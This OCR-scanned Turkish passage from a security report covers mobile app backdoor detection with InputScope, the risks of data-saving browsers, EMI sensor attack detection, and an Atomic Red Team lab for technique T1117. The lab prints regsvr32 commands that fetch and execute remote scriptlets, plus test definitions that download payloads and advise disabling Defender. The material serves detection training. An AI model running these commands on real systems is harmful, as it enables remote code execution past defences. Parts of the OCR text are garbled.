den, arka kapilar geligtiricilere de zarar verebilmektedir
(6rnegin parola ile korunan gizli bir mend, uygulama
icindeki Ucretli 6zellikleri Ucretsiz olarak etkinlestirebilir).
Son olarak ¢alismada 1 milyondan fazla kullanici tarafin-
dan indirilen bir ¢eviri uygulamasi icinde, uygulama ici
reklamlan Ucretsiz kaldirma gibi gelismis hizmetler icin
6deme panelini atlatan bir gizli anahtar érnek Uzerinden
anlatilacaktir. Bu bélimde yukarda anlatilan tUm 6rnek-
lere ait incelemeler sunulacaktir®.

Altyapi ve Motivasyon

Bu alt baslkta InputScope’u daha iyi anlamak icin ge-
rekli altyapi anlatilacaktir. ik olarak mobil uygulamalar-
dan alinan girdi tirleri agiklanacak, sonrasinda mobil
uygulamalarda kullanici girdisinin nasil dogdrulanacagi
incelenecek ve son olarak da gercek érnekler Uizerinden
bu problemin nasil ¢dzllecegdi agiklanacaktir:

Mobil uygulamalarda girdi tiirleri

Girdiler i¢ girdiler ve dig girdiler olmak Uzere ikiye ayr-
ir. i¢ girdiler, uygulamanin dogrudan kendisinin okuya-
bildigi girdi turleridir. Bunlara drnek olarak uygulama-
nin program kodundan gelen degistirilemeyen girdiler
(hardcoded string) veya uygulama icinden tasinan kay-
nak dosyalarindan gelen girdiler (6rn. bir veritabani) ve-
rilebilir. Dig girdiler ise uygulamanin dis diinyadan tiket-
tigi girdilerdir. Bunlar da ikiye ayrilr. ilki dis yerel girdiler,
sistem kutlUphanelerinden girdiler veya kullanicinin tus
vuruslar (keystrokes). Dis uzak girdiler ise uzak sunucu-
lardan veya dis cihazlardan (6rn. bluetooth cihazi) alinan
girdilerdir.
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Kullanici girdisi nasil dogrulanir

Girdinin olusturacagi davranistan énce uygulama kodu
tarafindan dogrulanmasi gerekir. Girdi dogrulamasi kara
listeler ve beyaz listeler Gzerinden yapilir. Girdi geligtirici
tarafindan tanimlanmig engellenmis icerik listesiyle kar-
sllastinhiyorsa bu listeye kara liste denir. Bu listeler ge-
nelde geligtirici tarafindan sakl tutulur. Antivirisler tara-
findan tespit edilen virlis imzalari buna 6rnektir ve virls-
lerin kagmasinin énlenmesi i¢in bu imzalarn fark etmesi
gerekir. Eger girdi kabul edilen igeriklerin bulundugu bir
liste ile karsilastinliyorsa buna beyaz liste denir. Kara lis-
tenin aksine bu listelerin boyutlar sabittir ve kullanicinin
sistemi kullanma yetenegine sahip olabilmesi igin beyaz
listedeki kaynaklari bilmesi gerekir.

Uygulamalar gelistirilirken sentetik ve semantik girdi
dogrulama yontemleri de kullanilabilir. Sentetik dog-
rulamaya 6rnek gecersiz posta adresi, telefon numa-
rasi veya posta kodu uyarilaridir. Semantik dogrulama
ise kullanici girdilerinin tutarliigina/anlamina odaklanir.
Ornegin 31 Subat tarihinin girdi olarak girilmesi veya on-
line siparis uygulamasinda siparis sirasinda sepette en
az bir Griintn bulunmasi gibi.

Ornek

Gizli arka kapi: Eger uygulamada girdi erisim kontrolu-
nd (kimlik dogrulama gibi) atlatmak igin kullaniliyorsa,
bu girdi bir arka kapidir. Arka kapi, bir uygulamanin kod
segmenti Gzerinden incelenmistir:

1 public boclean onKey(View arg4, int argi, KeyEvent arg6) {

2 this.d = this.findViewById(2131296464) ;

3 int w0 66;

4 e

5 if (args == w0 E& argd4d = this.d EE& arg6.gethetion() == 0){

6 if((this.d.getText() .toString() .equals ("g***d"))
&& this.a "= null) {

7 this.a.setVisibility (8); // reklamlar gizle

8 return 0;

9 13

10 // standart ceviri uygulamasi kodu

11 return 1;

1z
13 }

Sekil 62: S6zIlik uygulamasinda gizli erisim anahtari tarafindan te-
tiklenmis bir arka kapi.

Sekil 62’de gérilen kod segmenti bir sanal magazada
1 milyondan fazla indirilmis bir ¢ceviri uygulamasina ait-
tir. Gizli erisim anahtariyla nasil arka kapi olusturuldugu
gOsterilmistir. 2. satir da goérilen “this.d” degiskeni, icin-
de kullanici girdilerini tutmaktadir. 6. satirda goérilen if
blodu icinde ise bu degiskenin tuttugu deger, yani kul-
lanici girdisi, dizeye (stringe) dénlstirilmekte ve sabit
olarak kodlanmig (hardcoded) “g**d” dizesiyle karsilas-
tinlarak iki degerin birbirine esit olup olmadigi kontrol
edilmektedir. Sonrasinda eger iki deger birbiriyle ayni
ise 7. satirda gorilen reklamlar gizleme 6zelligi aktive
edilmektedir. Aslinda, reklamlar kaldirmak Ucretli bir
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uygulama i¢i hizmettir, yani bu sabit kodlu dize, uygula-
ma kisitlamalarini atlamak i¢in bir arka kapidir.

InputScope inceleme

wlesnling lyerik _feargiagunim igeelk
simlenmes

APK|

Sekil 63: InputScope’un incelenmesi.

Yukaridaki Sekil 63'te 4 6nemli bilesen mevcuttur: 1)
Girdi Dogrulama Tespiti, statik analizle dogrulama yoén-
teminin gecerliligini tespit eder. Il) Karsilastiriimis icerik
Cozumlenmesi, karsilastirilan igerigin kaynaklarini be-
lirremek icin geriye dogru dilimleme (backward slicing)
gerceklestirir ve ardindan son dize degerini hesaplamak
icin bu dilimi kullanir. Ill) Baglam Karsilastirmasi, kulla-
nici girdisi ve karsilastinlmis icerigi alarak birden-ikiye,
coktan-ikiye veya coktan coga anlam iligkisi kurarak kod
gonderme (code dispatch) islemini gerceklestirir. IV) Gizli
bilgileri acia ¢ikarma, tim sinirlamalari ve tedbirleri kul-
lanarak arka kapl, sakli komutlar ve sansirlenmis anah-
tar kelimeleri ortaya ¢ikaran bilesendir.

Degerlendirme

InputScope aracinin analizleri incelenirken veri kiimesi
olarak U¢ farkl kaynaktan yararlaniimistir. Android uygu-
lamalar Gzerinde yapilan ¢alisma boyunca kullanilacak
ilk veri kaynagdi diinya ¢apinda en ¢ok Android uygulama
barindiran Google Play olmustur. Bu madazada tim ka-
tegorilerde en ¢ok indirilen 100 bin Ucretsiz uygulama ta-
ranmigtir. ikinci kaynak olan Apple Store’dan ise en cok
indirilen 20 bin Ucretsiz uygulama veri kiimesinde kulla-
nilmistir. Uglincii veri kaynagi olarak énceden yiiklenmis
uygulamalar, yani cihaz satin alindiginda varsayilan ola-
rak gelen 30 bin uygulama kullanilmistir. incelenen veri
kiimesinin InputScope aracinda yapilan statik analiz is-
tatistikleri asagidaki tabloda paylasilmaktadir:

Tablo 2’ye gore veri kiimesinde incelenmis 150 bin mobil
uygulamanin 114.797 tanesinde denklik kontrolt yapil-
mistir. Bunlarin 34.958 tanesinde sadece bos girdi olup
olmadigi kontrol edilmistir. InputScope, geriye kalan
79.839 uygulama icinde 4.028 uygulamanin kara liste
icerdigini ve 12.706 uygulamanin arka kapi bulundurdu-
gunu belirlemistir.

Bu sonuglara gore gizli arka kapi davraniglarina ait so-
nuclar analiz edilmistir. Arka kapilar gibi gizli davranigla-
rn ortaya ¢ikariimasiyla ne tir faydalarin saglanabilecegi
izleyen bdlimde degerlendiriimektedir.
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Kaynak Deger
Test edilen uygulamalar 150.000
Denklik kontrolli iceren uygulamalar: 114.797
- Sadece bos girdi kontrolii yapan uygulamalar 34 9.58
- Bos olmayan girdi kontroll yapan 79.839
uygulamalar
Arka kapi iceren uygulamalar:
L 12.706
% Google Play icinde bulunanlar %6.86
% Apple Store iginde bulunanlar %5’32
% Onceden yiiklenmis uygulamalar iginde %1’5 %
bulunanlar ’
Gizli erisim anahtar iceren uygulamalar 7.584

Ana parola iceren uygulamalar 501

Gizli yetki ylkseltme komutlari iceren uygulamalar ~ 6.013
Kara liste iceren uygulamalar: 4.028
% Google Play iginde bulunanlar %1,98
% Apple Store iginde bulunanlar %4,46
% Onceden yiiklenmis uygulamalar iginde %3,87

bulunanlar

Tablo 2: Degerlendirme sonugclarinin genel istatistigi.

Gizli Arka Kapi Davraniglari:

Arka Kkapllar; gizli erisim anahtarlari, ana parolalar ve
sakl komutlar kullanarak icinde saklandiklar uygulama-
nin bulundugu sistem Uzerinde yetki ylkseltme, hassas
verilere erisim ve daha bir¢cok zarara yol acabilmektedir.

1) Erisim anahtarlari ile tetiklenen gizli davranislar:
Bunlar sayesinde uygulamanin yénetici paneline gi-
ris yapilabilir, bir kullanicinin standart kullanicilar ta-
rafindan goériinmez olmasina, uygulamanin ayar ve
yapillandirma dosyalarinda degisiklikler yapmasina
olanak tani. Ornegin InputScope sayesinde tespit
edilen ve 5 milyondan fazla kullaniciya sahip canli
spor yayini yapan bir uygulama Uizerinde, “U***S” eri-
sim anahtariyla gizli yonetici panelindeki ayarlar me-
nUstine herhangi bir kullanicinin erisim hakkina sahip
olabildigi tespit edilmistir. Basarili giris saglandik-
tan sonra, yonetici paneli saldirgana konfiglrasyon
URL'lerini degistirme, ag ID’sini degistirme, gecici
gegisi sifirlama (temporary pass) gibi yetki yikseltme
haklar tanir. Ayni zamanda erisim haklari Uzerinden
yapilabilecek diger bir saldiri senaryosu ise standart
kullanicilarin parolalarinin agiga cikariimasi veya si-
firlanmasi olabilir. Yine 5 milyondan fazla indirilen bir
ekran Kilidi hizmeti Uzerinde tespit edilen ve saldirga-
nin bircok yanls parola denemesinden sonra tetik-
lenen gizli butonun ortaya ¢ikmasi buna bir 6rnektir.
Saldirgan bu yolla yanlis tiklamalar ile gizli butonu ak-
tiflestirmis ve 6zel kodun istendigi araytize ulasmigtir.
Sonrasinda erisim anahtar olan “0**9*” kodunu gir-
mesiyle parolayi sifirlayabilmis ve ekran kilidini agma
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yetkisine sahip olmustur. Yine InputScope Uzerinden
gbzlemlenen bir bagka uygulamada ise bu sefer sal-
dirgan gelismis servis ddeme sistemi Uzerinde erigim
anahtarini dis deger olarak kullanmis, girdi dogrula-
ma sinifindaki kontrolU atlatarak reklamlari kaldirmayi
basarmis ve 13 dolara saglanan bu hizmeti lGcretsiz
olarak elde edebilmistir. Tim bu 6érneklerden anla-
sildigi gibi uygulamalarin igindeki kullanici girdi dog-
rulama y®ntemleri uygulamalarin gizli sirlarini aciga
cikarabilmektedir. Bu yolla uygulamanin hem kullani-
cilarina hem de hizmet saglayicilarina zarar verilebil-
mektedir. Nitekim bahsedilen uygulamalar milyondan
fazla indirilmeye sahiptir ve benzer geligtirici hatalari
analiz edilen uygulamalarin bircojunda ortak olarak
g6zlemlenmisgtir.

2) Ana parolalar ile tetiklenen gizli davranislar:
InputScope’un veri kiimesinde 501 ana parola kul-
lanan uygulama oldugunu tespit ettigi yukarda gos-
terilmistir. (bkz. Tablo 2: Degerlendirme sonuglarinin
genel istatistigi) Ana parolalar, karsilastirma yap-
mak i¢cin kullanilan hedef parametrelerin ¢calinmasi
veya Uzerine yazilmasinda kullanilarak cok tehlikeli
olabilmektedir. 10 milyondan fazla indirilmis bir gu-
venlik uygulamasinda, kullanicilara akilli telefonla-
rinin kaybolmasi durumunda yardimci olmak igin
tasarlanmis uzaktan ekran kilittemeye olanak tani-
yan bir ézellik bulunmaktadir. Bu uygulama kullani-
cilarini korumak igin birgok guvenlik mekanizmasi
sunar. Ama bunun yaninda telefonun SMS yoluyla
uzaktan silinebilmesine ragmen icerdigi ana parola
olan 9***8 ile korumay! atlatarak bu 6zelligin kullan-
masina engel olunabilir. Bunun sonucunda ¢alindi-
g1 zaman bagkalarn tarafindan rahatca kullanimini
saglayabilir. Bir ginlik uygulamasinda yakalanan
zafiyette ise, gunltk kullanicilar tarafindan sifreyle
korunabilmektedir. Fakat saldirgan ana parola olan
Iv**3 parolasini kullanarak, uygulama ekraninin alt
panelinde “hatali parola” uyarisi gikmasina ragmen
gizli gunludun kilidini agip igerigi diiz metin olarak
goéruntuleyebilmektedir.
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3) Sakh komutlar yardimiyla tetiklenen gizli davra-
niglar: Sakli komutlar; muzik, oyun, egitim, sosyal
medya, Uretkenlik, aligveris gibi sektdrlere ait birgok
uygulamada kullaniimaktadir. Bu komutlar hata ayik-
lama ve hata ayiklamanin olmadigi diger fonksiyonel
islevlerin yapilabildigi kategori olarak iki kategoriye
ayirmak gerekmektedir. Hata ayiklama modunda uy-
gulamayi calistirirken ve uygulamanin disik seviye
fonksiyonlarini test etmek icin yaygin olarak sakl ko-
mutlar kullanilr.

InputScope analiziyle elde edilmis icinde sakl komutlar
barindiran ve magazalardan en ¢ok indirilen 10 uygula-
ma yukarida Tablo 3’te g&sterilmistir. Tablo sttunlarinda
sirasiyla indirilme sayisi, uygulamanin ait oldugu kate-
gori, uygulama paketinin ismi ve c¢alistinlabilecek sakli
komutlar gésterilmistir. Ornegin, bir aligveris uygulamasi
Uzerinde HTTP ve vekil sunucu baglantilarini test etmek
icin “d*™*p” ve “p™*f’ komutlar kullanilabilir. Hata ayik-
lama disindaki fonksiyonlar icin de sakli komutlar kulla-
nilabilir. Bazi komutlar yardimiyla standart kullanicilarin
haberinin olmadigi islevler tetiklenebilir. Ornegin bir sos-
yal medya uygulamasi Gzerinde *#0*3# komutu tUm &6n-
bellegi temizlemek igin kullanilan bir sakli komut olabilir.

Sonug

Girdi dogrulama daha ¢ok zafiyet arastirmasinda ¢alisilan
bir konu olmasina ragmen, bu yazida girdi dogrulamanin
erisim anahtarlan, ana parolalar, sakl yetki yUkseltme
komutlan gibi girdiyle tetiklenen gizemlerin ortaya ¢ika-
riimasina calisiimigtir. Ayrica istenmeyen kaynaklarin kara
listeye alinmasi, sanstirli anahtar kelimeler, siber zorbalik
iceren ifadeler ve zayif parolalar gibi faaliyetlerin gercek
ornekler Uzerinden nelere yol actiyi incelenmistir. Girdi
dogrulamanin énem duizeyinin ispatlandigi bir ara¢ olan
InputScope’un istatistikleri incelenmistir. Hem kullanici
girdi dogrulamasinin yliriitme baglami asamasinda hem
de gizli fonksiyonlarin ortaya c¢ikariimasinda etkili icerik
dénistirdlmesi asamasinda otomatik tespitler yapilmigtir.

indirilme Sayisi Kategori Paket ismi

10-50 milyon Araglar com.*.whe*d

10-50 milyon Muizik ve Ses com.th.ringtone.maker
10-50 milyon Oyun ru.c*.s***

5-10 milyon Aligveris w*.*n.***g

1-5 milyon Egitim com.b*.a**y

1-5 milyon Oyun com.*a.b**n*

1-5 milyon Sosyal medya com.c*.f**s

1-5 milyon Sosyal medya com.c*s****

1-5 milyon Oyun com.h*.e***

1-5 milyon Uretkenlik Com.lfantasia.android

Tablo 3: Sakli komutlar igeren en populer mobil uygulamalara ait detayli sonuglar.
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Komutlar

WL AN, b u, Wk,
Enableartistaloum, disableartistaloum...
84, 82***, 69, .

[**e on, b***1, f**e, p***n...

P, d*™*p, c***f, p**n

S™DH#, M, G**S, G|

c***h, c***t...

*#HO#, “#* 14, “#*54...

un**s, lo**, lo**s, un***...

(maroonAuth), (amberAuth)...
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18. Mobil Tarayicilardaki Veri Tasarrufu ve
Riskleri

Mobil cihazlarla birlikte mobil isletim sistemlerinde ca-
isan web tarayicilarinin kullanimi da yayginlasmistir.
Kullanicilara 6nemli kolayliklar saglayan bu durum diger
yandan mobil veri servislerinin Ucretli olmasi sebebiyle
yeni bir endise ortaya c¢ikarmistir. Kullanicilarin ytksek
veri kullanim endigesine ¢ézim Uretmeye ¢alisan mobil
tarayici gelistiriciler ise veri tasarruflu tarayici opsiyonlari
gelistirmeye baglamistir. Bu tarayicilar tGzerinde yapilan
guncel arastirmalar sonucunda veri tasarrufu etkin ol-
madigi durumda alinan glivenlik tedbirlerinin veri tasar-
rufu etkin oldugu duruma goére daha esnek uygulandigi
g6rilmustdr. Bu durumda milyonlarca kullanici cesitli
guvenlik riskleriyle (Ortadaki Adam Saldirnisi gibi) karsi
karsiya gelmigtir.

Genel Calisma Prensibi: Veri tasarrufu saglayan tarayi-
cilar kullanicinin web trafigini bir vekil sunucu Gzerinden
gecirir, uygulama seviyesindeki islemleri de bu sunucu
Uzerinde tamamlar ve kullaniciya sikistinlmis statik sayfa
ve kaynak dosyalari iletirt®l,

Veri Tasarrufu Igin Vekil Sunucu Altyapisi

Gateway
Vekil Sunucu

Endpoint
Vekil Sunucu

Istemci Hedef

Web Sunucu

Sekil 64: Vekil sunucu altyapisi.

Vekil sunucuda kullanilan yazihmlarin glincel olmadig
veya zayif glvenlik kurallanyla ¢alistigi durumlarin kulla-
nicilarin gizliligini ve givenligini riske attigi géralmuastir.

Veri tasarruflu tarayicilarin genelde tipik bir tarayiciya
gbre daha duslUk guvenlik sagladigi belirlenmigstir. Bu
yuzden kullanicilarin veri tasarrufu 6zelligini aktif hale

Tarayici Tasarruf Acik
Giicli

Chrome 9 9
Opera Browser 4 9
Opera Mini (YUksek Tasarruf Modu) 4 9
Opera Mini (En Yuksek Tasarruf Modu) 3 10
Puffin (Ucretsiz) 6 7
Puffin (Ucretli) 6 7

Tablo 4: Tasarruf modu ve sifreleme kurallari matrisi.
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getirdiklerinde cogu zaman farkinda olmadan ciddi bir
riske girdigi ortaya gikmigtir.

Desteklenen Sifreleme Kurallar: Yaygin kullanilan bir-
cok tarayici, asagidaki tabloda gorildigu gibi tasarruf
6zelligi acik ise zayif sifreleme kurallarinin kullanimini
artirmakta veya gigli olanlarin sayisini azaltmaktadiri®l,

Tarayicilar tarafindan yapilan bu tarz sifreleme kurali ter-
cihleri kullanicilarnn POODLER® gibi bilinen birgok saldiri
tipine karsl savunmasiz hale getirmektedir.

SSL Sertifika Hatalarinin Ele Alinmasi: Arastirmacilar
tarafindan yapilan calismaya gére popller tarayicilarin
bazilan veri tasarrufu aktifken SSL Sertifika problemlerini
es gecmekte ya da kullaniciya gerekli uyarlarn géster-
memektedir. Ornegin Opera Browser ve Opera Mini, veri
tasarrufu aktifken artik gtivenli kabul edilmeyen SHA-1
ile imzalanmis sertifikaya sahip sitelerin ziyaret edilme-
sine izin vermektedir. Ayrica, bahsi gegen tarayicilar su-
nulan sertifikayla alt alan adinin eslesmedigi durumlarda
bile 6nlem almamakta ve “related-domain” saldirilarina
kap! agmaktadir. Bir baska érnekte ise Opera tarayicilari
veri tasarrufu aktifken, givenilir kabul edilmeyen sertifi-
ka otoriteleri tarafindan imzalanmis sertifikalar kabul et-
mekte, dolayisiyla kullanicilarn ortadaki adam saldirisina
acik hale getirmektedirt®.

Veri tasarruflu tarayicilarin veri saglayicilarn vekil sunucu-
lar oldugundan web isteklerine gelen cevaplari maniple
etmeleri de mUmkin hale gelmektedir.

HTTP Kanalindaki Modifikasyonlar: Yapilan testler
bazi veri tasarruflu tarayicilarin vekil sunucularinin HTTP
paketlerinin bazi “header” alanlarini sildigini géstermistir.
Ornegin Opera Mini, web isteginin cevabini “X-Frame-
Options” alanini kaldirip istemciye géndermektedir. S6z
konusu alan “clickjacking” saldirilarina kargi énem arz
etmektedirt8.

Milyonlarca kullanici tarafindan tercih edilen veri tasar-
ruflu web tarayicilar arka planda bircok tehlike barindir-
maktadir. Vekil sunucularin glincel olmamasi, zayiflatil-
mis TLS entegrasyonu ve hatal sertifika dogrulama gibi
durumlar kullanicilari dogrudan veya dolayl olarak ciddi
guvenlik riskleriyle yUz ylze getirmektedir.

Tasarruf Kapali A

Giicla Zayif Gugla Zayif
9 7 0 +2

9 7 -5 +2

9 7 -5 +2

9 7 -6 +3
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19. Sensor Sistemlerine Yapilan
Elektromanyetik (EMI) Saldinlarin Tespiti

Sensorler fiziksel ortamlarla etkilesimde bulunabilmek
icin kullanilan bilesenlerdir. Bu etkilesimi mikrodenetleyi-
ciler vasitasiyla yaparlar. Ev otomasyonu, fabrika kontrol
sistemleri, kritik altyapi, ulagim sistemleri ve daha birgok
sistemde bol miktarda bulunurlar. Bir sensér Urettigi ana-
log degeri, yani fiziksel ortamdan okudugu degeri sayi-
sallastirma icin ADC (analog to digital converter) barindi-
ran mikrodenetleyiciye gdnderir. Mikrodenetleyiciler de
bu okudugu sayisal degerleri isleyip giktiya dénustirdr.

Mikrodenetleyicinin sensdrden okudugu degerle kritik bir
alt yapi icin cikti Gretecegini disiindigimuizde senso-
riin gonderdigi degerin dogrulugu énemlidir. Bu noktada
sensoriin mikrodenetleyiciye ilettigi analog sinyal saldir-
gan icin bir atak yiizeyi olusturur. Saldirganin bunu yap-
masina imkan veren zafiyet, sensoérin bu iletimi mecbu-
ren bir kablo Uzerinden yapmasindan kaynaklanir. Kablo
sinyal iletimi yaparken ayni zamanda anten gdrevi gorur
ve bdylece disaridan gelen yabanci sinyalleri okuma egi-
limine girer. Bu aradaki analog kanalin dogasi geregi de
mikrodenetleyicinin aldigi 6lcimin sensérden mi yoksa
saldirgandan mi oldugunu dogrulamasi mimkin degil-
dir. Saldirgan bu saldiry! yiksek glcli ve distk gucli
EMI saldirisi olarak yapabilir. Yiksek gucli EMI saldirisi
hedef sistemin islevini tamamen ortadan kaldirmak igin
yapllabilir, jamming buna bir érnektir. Dlsitk glcli EMI
saldinisi ise hedef sistemin ana iglevselligini maniple et-
mek icin yapilabilir. Distk gtgli EMI saldinisi icin kulla-
nilan model Sekil 65’te gosterilmistir. Saldirgan bir sinyal
Uretir ve bu sinyal sensér cikisinda olusan sinyalle Ust
Uste binerek mikrodenetleyiciye girer.

Sensor @ ADC | Value
Attacking
) & Microcontroller
Signal

Sekil 65: EMI saldirn modeli.

Bu saldinlari engellemek icin ekranlama ve EMI filtreleri
gibi ¢ézimler mevcut sistemlerde yiksek fayda sagla-
yacak sekilde kullaniimaktadir ancak bu ¢ézimler buytk
oranda engelleme saglasa da parazitleri engelleyeme-
mektedir. Ayrica saldin tespiti noktasinda da yardimci
olmamaktadir. DUslk seviyeli elektromanyetik sizma
saldirilarinin tespiti igin yapilan bazi galigmalar vardirt©.,

Bu sistem sensériin kapali durumdayken, yani bir de-
ger Uretmedigi anda cikisindaki sinyalin 0V ya da bili-
nen sabit bir deger olacagi disiincesine dayanmaktadir.
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Secret
Sequence

Manchester

Encoded Code

Sensor
Output

Digitized e e® e
Signal  eie | eie |

—
Sub-measurement

=~ Measurement -

Sekil 66: EMI saldin tespiti algilama igin sinyal Gretimi ve 6rnek-
lemesi.

Bu ylizden sensorin cikisini saldirgan tarafindan tahmin
edilemeyecek sekilde modile eder. Mikrodenetleyici
sensOriin c¢ikisinda eger bir dalgalanma tespit ederse
yUksek oranl saldir tespiti yapar. Bu tespit icin siste-
min hangi zaman araliginda sensériin deger Uretece-
gini bilmesi gerekir. Sensoériin calismadigi zamanlarda
bir deger okumasi yaparsa bunu otomatik olarak saldi-
ri olarak algilayabilir. Yani sensérin calisma geriliminin
de sistem tarafindan kontrolll sekilde verilmesi gerekir.
Sensori gizli bir frekansta 6rneklenmis sinyalle besle-
yerek sensorin cikisindaki dederler zaman araliklarinda
tahmin edilebilir. Béylece tahmin edilen degerden farkli
bir 6lcim olursa saldir tespit edilmis olur. Sekil 66’da bu
sistem gosterilmistir.

Sekil 67’de de bu modelin blok semasi gdsterilmektedir.
Blok semasinda saldirganin kirmizi ile gdsterilen yerler-
de sisteme sinyaller génderdigi ve bu sinyalin beklenen
degerleri arttirdigr géralmektedir.

Bu sistem hem sabit cikisa sahip sensérlerde hem de

LU

e

Sensor

i Dot ™

Attacking Signal

Microcontroller

Sekil 67: Sistem galisma modeli blok semasi.

mikrofon gibi degisken cikigli dederlerde sinyal Ureten
sensorlerde kullanilabilir. Sabit ¢ikish olmayan sensorler
icin Uretilen sensdr besleme geriliminin ve érneklemenin
frekansinin gcok daha ylksek olmasi gerekecektir.
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Saldirganin bu sistemi atlatabilmesi, ancak sinyalin si-
fir olmayan yerlerinin tamamini sifir olan érneklem ge-
rilimlerini etkilemeden yapabilirse mimkin olacaktir.
Saldirganin sinyalin érneklemini tahminin zorlugu disi-
nuldigunde olasiigr oldukca duguktir. n tane alt érnek-
lemin oldugu yerde Y50/ olacaktrr. Ayrica sifir olma-
yan gerilimlerin sabit deger oldugu da sistem tarafindan
kabul edildiginden bu ihtimal biraz daha dlismektedir.

20. Red Canary | Atomic Red Team Nedir?

Red Canary, MITRE ATT&CK tekniklerine gbre hazirla-
nip eslestirilmis, icinde saldin testleri bulunan bir ku-
tiphanedir. Kitiiphanedeki her bir test belirli bir MITRE
ATT&CK taktigi uygulamak icin tasarlanmigtir. Bu testler
sonucunda saldirilari tespit etmeye ybnelik sigma kural-
larinin olusturulmasi dahil batin strecin otomatik hale
getiriimesi ve merkezi sekilde ydnetilmesi mimkinddr.

Bu calismada lab ortami kurularak Atomic Red Team
déngustinde belirtilen adimlar lab ortami tGzerinde uygu-
lanacaktr. ilk adim Red Canary kiitiiphanesinde bulunan
saldir taktiklerinden birinin secilmesidir. Ardindan hedef
sistem Uzerinde secilen taktik uygulanacaktir. Son olarak
hedef sistem (izerinde saldir tespit edilecek ve bu saldi-
riya yoénelik kural Uretilecektir.

Choose an ATT&CK
technique

Make

improvements to
your defenses

Choose a test for
that technique
Execute the test
procedure

Sekil 68: Atomic Red Team Doénguisu“!.

Analyze your
detections of the
procedure

Lab ortami Uzerinde saldirlanin gergeklestiriimesi icin
Red Canary merkezi olarak konumlandiriimalidir. Saldiri
tekniginin uygulanmasi ve teknige ait loglarin incelenme-
si i¢in istemci B, Red Canary tarafindan uzaktan erisile-
cek sekilde konumlandiriimalidir.

Hazirhk Agsamasi

Red Canary github hesabindan indirilmis ve gereksi-
nimleri yiklenmis olmalidir.

istemci B lizerine Windows 7 isletim sistemi kurulma-
hdir. Ayrica icine sysmon yuklenmeli ve loglarin daha
detayli toplanabilmesi icin konfiglirasyon dosyasi
degistirilmelidir.

sysmon.exe -accepteula -i sysmonconfig-export.xml
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Istemcl A

tenmci B anary
i Linux 5.6.0
Windows 7 L 69

192.168.50.129 192 168 80128

istemci ©

Sekil 69: Lab ortami genel gérinimu.

Saldirinin Gergeklestiriimesi

Red Canary’deki saldir tekniklerinden “T111772 bir se-
naryo dahilinde ele alinacaktir. T1117 taktigi Regsvr32.
exe kullanarak hedef bilgisayarda komut calistirmak
Uzerine olusturulmustur. Regsvr32.exe ise Microsoft
Windows ve ReactOS isletim sistemlerinde Kayit Defteri
(Operating System Registry) DLL’leri ve ActiveX dene-
timlerini kaydetmek ve kaydini silmek i¢in kullanilan bir
komut satir yardimeci programidir.

Sekil 70: Red Canary T1117 saldin kodu.

Saldin taktigini gergeklestirebilmek i¢cin komut istemci B
Uzerinde calistirildiginda calc.exe’nin uzak masadstiinde
calistigi gorilmektedir.

regsvr32.exe /s /u /i:http://192.168.80.128/atomic-red-
team/atomics/T1117/src/RegSvr32.sct scrobj.dll

Sekil 71: Uzak masaustiinde Red Canary kodunun (calc.exe) ¢a-
listinlmasi
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Geligtirilen saldinya ait loglar sysmon Uzerinde

gorintilenmektediri*sl,

Processtd 2340
CAWindows\System3Ziregsur3Lexe
090713-1255)

Sekil 72: Sysmon logu.

Red Canary kitiphanesindeki saldir tekniklerinin olus-
turdugu log kayitlarini tespit etmek igin, kitiphanede
yer alan sigma kurallarinin kullaniimasi ve SIEM Grin-
lerine entegre edilmesi mimkindur. Uygulanan T1117
taktigini tespit edebilecek sigma kuralinin bir érnegdi asa-
gida gorilmektedir.

attack_technique: T1117
display_name: Regsvr32
atomic_tests:
- name: Regsvr32 local COM scriptlet execution
auto_generated_guid: 449aa403-6aba-47ce-8a37-247d21ef0306
description: |
Regsvr32.exe is a command-line program used to register
and unregister OLE controls. Upon execution, calc.exe will be
launched.
supported_platforms:
- windows
input_arguments:
filename:
description: Name of the local file, include path.
type: Path
default: PathToAtomicsFolder\T1117\src\RegSvr32.sct
dependency_executor_name: powershell
dependencies:
- description: |
Regsvr32.sct must exist on disk at specified location
(#{filename})
prereq_command: |
if (Test-Path #{filename}) {exit 0} else {exit 1}
get_prereq_command: |
New-Iltem -Type Directory (split-path #{filename}) -ErrorAction
ignore | Out-Null
Invoke-WebRequest “https://github.com/redcanaryco/ato-
mic-red-team/raw/master/atomics/T1117/src/RegSvr32.sct”
-OutFile “#{filename}”
executor:
name: command_prompt
elevation_required: false
command: |
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regsvr32.exe /s /u /i:#{filename} scrobj.dll
- name: Regsvr32 remote COM scriptlet execution
auto_generated_guid: c9d0c4ef-8a96-4794-a75b-3d3a5e6f2a36
description: |
Regsvr32.exe is a command-line program used to register and
unregister OLE controls. This test may be blocked by windows
defender; disable
windows defender real-time protection to fix it. Upon execution,
calc.exe will be launched.
supported_platforms:
- windows
input_arguments:
url:
description: URL to hosted sct file
type: Url
default: https://raw.githubusercontent.com/redcanaryco/atomi-
c-red-team/master/atomics/T1117/src/RegSvr32.sct
executor:
name: command_prompt
elevation_required: false
command: |
regsvr32.exe /s /u /i:#{url} scrobj.dll
- name: Regsvr32 local DLL execution
auto_generated_guid: 08ffca73-9a3d-471a-aeb0-68b4aa3ab37b
description: |
Regsvr32.exe is a command-line program used to register
and unregister OLE controls. Upon execution, calc.exe will be
launched.
supported_platforms:
- windows
input_arguments:
dll_name:
description: Name of DLL to Execute, DLL Should export
DIIRegisterServer
type: Path
default: PathToAtomicsFolder\T1117\bin\AllTheThingsx86.dll
dependency_executor_name: powershell
dependencies:
- description: |
AllTheThingsx86.dIl must exist on disk at specified location
(#{dll_name})
prereq_command: |
if (Test-Path #{dll_name}) {exit 0} else {exit 1}
get_prereq_command: |
New-Item -Type Directory (split-path #{dll_name}) -ErrorAction
ignore | Out-Null
Invoke-WebRequest “https://github.com/redcanaryco/atomi-
c-red-team/raw/master/atomics/T1117/bin/AllTheThingsx86.dlIl”
-OutFile “#{dll_name}”
executor:
name: command_prompt
elevation_required: false
command: |
IF “%PROCESSOR_ARCHITECTURE%”=="AMD64” (C:\
Windows\syswow64\regsvr32.exe /s #{dll_name}) ELSE ( re-
gsvr32.exe /s #{dll_name} )
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Sonuc

Bu ve benzeri saldirilarin otomatik ve merkezi sekilde
yapiimasi mimkindur. Kurumlar benzer senaryolar ge-
listirerek mavi takimlarinin tespit yeteneklerini gelistirebi-
lirler. Kirmizi takimla birlikte ¢calisarak Red Canary kitlp-
hanesinde bulunan atak sayisini artirabilirler. Boylelikle
gelismis tespit yetenekleriyle siber saldirilara karsi alinan
Onlemlerin yetersiz kaldigi durumlarda saldirilara cevap
verebilirler.

